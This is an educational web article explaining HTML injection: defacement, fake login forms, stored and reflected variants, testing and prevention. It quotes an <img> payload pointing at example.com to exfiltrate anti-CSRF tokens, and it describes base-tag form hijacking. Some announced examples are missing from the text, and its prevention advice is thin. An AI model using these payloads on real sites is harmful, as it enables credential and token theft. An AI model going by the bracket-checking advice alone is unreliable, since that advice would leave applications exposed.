HTML Injection

What is HTML Injection?

HTML Injection, often known as "virtual defacements," is one of the easiest and most widespread vulnerabilities that occur when a web page neglects to sanitize user-supplied data or validate the output. As a result, the attacker can create his payloads and inject malicious HTML codes into the web application through the susceptible fields, allowing him to change the webpage content and even steal sensitive data.

Examples of Html Injection

The most common examples of HTML injections are as follows:

Defacing

The simplest application of HTML injection is defacing, which modifies the page's visible content. For instance, an attacker may insert a graphic advertising for a product they intend to sell using a cached HTML injection. Additionally, the attacker could insert malicious HTML code to tarnish the page's reputation, either for political or personal motives.

Extraction of Sensitive User Information

The creation of a form on the target website and tricking the user into submitting sensitive data into that form are two more popular uses of HTML injection. An attacker may insert malicious code, for instance, to display a phony login form. The login and password information from the form would subsequently be transferred to a server under the attacker's control.

The hacker could potentially attempt to utilize the tag to steal data if the website makes use of relative URLs. For instance, all forms would be submitted to the attacker-controlled xyz.com website if they inject and the web page relies on relative URLs for form submission.

Exfiltrating Anti-CSRF Tokens

Additionally, by utilizing HTML injection, attackers can steal anti-CSRF tokens for use in a subsequent cross-site request forgery (CSRF) attack. Anti-CSRF tokens are often sent via a form's hidden input type.

An attacker may, for instance, use a non-terminated <img> tag with single quotes, such as <img src='http://example.com/record.php?>, to exfiltrate the token.

A <textarea> tag injection is an additional choice. In this scenario, both the <textarea> and <form> tags will be implicitly closed and all material following the textarea> tag will be submitted.

Exfiltrating Passwords Saved in the Browser

Attackers may also employ HTML injections to include forms that browser password managers will automatically fill up. The password manager will automatically supply the user credentials if the attacker is successful in injecting the right form. With many browsers, all that is required of the form is that the input fields have the proper names and structures and that the action parameter points to any host.

Impact of HTML Injection

Vulnerabilities related to HTML injection are frequently overlooked. HTML injections can have serious implications, such as the following, even if they don't directly damage the web server or the database.

• A phony form might be used by the attacker to steal password information saved in the browser or to fool a user into entering their login information. Malicious actors may be granted administrative access to the online application if the targeted user has those rights.
• By carrying out an assault that is visible to the public, the attacker might seriously damage the image of the business, organization, or even nation. Users or clients may make poor judgments and lose faith in your cybersecurity procedures if a high-value page is vandalized or exploited to propagate misinformation.
• HTML injection might be used as a technique by the attacker to progress to more severe assaults like CSRF.
• The attacker creates malicious links with his HTML content inserted into them, then emails the URLs to the victim. Because the page is hosted on a reputable domain, the user views it, which causes his identity to be stolen.

Types of HTML Injection

Given that HTML is regarded as a relatively simple language, it does not appear to be very difficult to comprehend or carry out this attack. This kind of attack can be carried out in a variety of ways. But there are mainly two kinds of HTML injection: reflected and stored.

Stored HTML Injection

A "stored HTML" attack also known as "Persistence" occurs when a malicious script is injected into a web application and then permanently stored inside the application server. The application server then dumps the malicious script back out to the user when the user accesses the injected webpage. When the customer clicks on the payload, which looks like an official element of the website, the browser will execute the injected HTML code.

The "comment option" on blogs, which enables any user to provide feedback in terms of comments for the admin or other users, is the most prevalent example of stored HTML.

Reflected HTML Injection

When a web application replies to user input without first verifying it, it results in "Reflected HTML Injection", also known as "Non-Persistence Vulnerability." This gives a potential attacker access to the single HTML response, where they can insert browser executable code. It is referred to as "non-persistent" since the malicious script is not kept on the web server, necessitating the use of phishing to spread the malicious link and lure the user in.

The search textbox on a website may be readily used by an attacker to insert arbitrary HTML code, and if the website has a reflected HTML vulnerability, the result page will display these HTML entities in response.

Reflect HTML mostly comes in three varieties:

• Reflected HTML GET
• Reflected HTML POST
• Reflected HTML Current URL

Let's remember that the POST method is used to submit data to a server to build or update a resource, whilst the GET method is used to retrieve data from a specified source. 

1. Reflected HTML GET

It happens when the website displays (or reflects) our input. Let's say we have a straightforward website with a search form that is susceptible to this attack. Then, if we input any HTML code, it will simultaneously display on our website and be inserted into the HTML content.

For illustration, here's a simple text entry containing HTML tags:

2. Reflected HTML POST

It's a little trickier to inject HTML in reflected POST requests. It happens when incorrect POST method arguments are given in place of harmful HTML code.

As an illustration, our login form has a security hole that allows for HTML hacking. The POST method is used to send the data entered in the login form. If we entered whatever HTML code in place of the proper parameters, the POST method would be used to send it, and the website would show it.

It is advised to utilize a specialized browser plugin that will mimic the provided data to carry out Reflected POST HTML attacks. The plugin receives the given data and gives the user the ability to modify it. The website then displays the updated data that was submitted.

For instance, if we were to utilize such a plugin, we would transmit the same HTML code, <h1>Testing test</h1>, and it would appear the same as in the preceding example.

3. Reflected HTML Current URL

The term "reflected URL" refers to a situation in which HTML code is received over the website URL, shown on the website, and simultaneously injected into the HTML page of the website.

How Does HTML Injection Work?

The following steps describe how HTML Injection operates:

• The attacker must first identify a website that is susceptible to HTML injection to carry out this sort of injection.
• The attacker then uses email or another method to deliver the affected user the URL that has malicious code inserted into it.
• It will execute JavaScript or VBScript code with the victim user's permissions if the victim user clicks on this malicious URL.
• Depending on the code that is executed, the victim's computer may even be compromised, or sensitive information about the user may be disclosed.

How to Find HTML Injection?

A tester should make a list of all the potential weak spots on the website before beginning to test against potential injection attacks. It might be:

• All website links
• Data entry boxes.

Manual testing might then be run after that.

When manually checking whether HTML Injection is feasible, simple HTML code might be supplied, for example, to see if the text is shown. Simple HTML code may be sufficient to verify whether it is being shown, thus there is no need to test with really complex HTML.

For instance, it may be plain text tags like these:

Alternatively, if you want to test something more complex, you can search for code.

To search, enter text.

The tester can be convinced that this injection technique is feasible if the HTML code that has been stored someplace is shown. Then, a more complex piece of code may be tried, for instance, to show a phony login form.

HTML Injection scanner is an alternative approach. The time you would spend manually scanning for this assault may be greatly reduced. In comparison to other assaults, There aren't many tools available for testing HTML Injection.

WAS application is one potential remedy, though. Given that it checks using a variety of inputs rather than stopping after the first failure, WAS may be said to be a rather powerful vulnerability scanner.

We may also locate various online scanning programs that simply require you to submit the website's link to scan for HTML attacks. The summary will be shown once testing is finished.

Keep in mind that while choosing a scanning tool, we must pay attention to how it analyses the findings and whether or not it is accurate enough.

How to Prevent HTML Injection?

Without a shadow of a doubt, the developer's inattention and ignorance were the primary causes of this attack. The failure to adequately verify the input and output results in this kind of injection attack. Therefore, proper data validation is the first guideline to avoid HTML attacks.

Every input should be examined to see whether it includes any HTML or script code. In most cases, it is tested to see if the code contains any unique script or HTML brackets - <script></script>, <html></html>.

There are several functions available to determine whether the code has any unique brackets. The programming language you choose determines the checking function you use.

Additionally, the developer and tester need to understand how this attack is carried out. A thorough grasp of this attack's methodology may aid in its prevention.